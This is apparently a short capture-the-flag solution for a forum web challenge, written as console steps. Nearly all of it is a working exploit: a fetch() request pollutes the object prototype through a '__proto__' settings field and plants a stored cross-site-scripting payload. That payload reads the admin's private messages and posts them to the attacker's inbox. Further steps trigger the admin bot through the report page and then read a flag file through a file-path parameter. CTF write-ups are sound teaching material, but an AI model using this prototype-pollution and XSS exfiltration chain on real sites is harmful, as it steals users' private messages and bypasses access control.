insert it in to your console in webinspector fetch('/users/<YOUR USERNAME>/edit', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ display_name: "sss", bio: "just a user", settings: { pokemon_type: "", ["__proto__"]: { badge: "<img src=x onerror=\"fetch('/messages/j3seer').then(r=>r.text()).then(t=>{fetch('/messages/sss',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({body:t})})})\">" } } }) }).then(r => r.json()).then(console.log) then report https://psyforum.challs.ico-official.net/messages/<YOUR USERNAME> to the admin using the Report page then check your DM. Admin must send you an html code of his convo with j3seer (who is the author of this task), where the API is revealed. you use this api to visit https://psyforum.challs.ico-official.net/settings?file=./flag.txt where the flag is stored use WireShark and google to learn how you visit pages with specific APIs ;D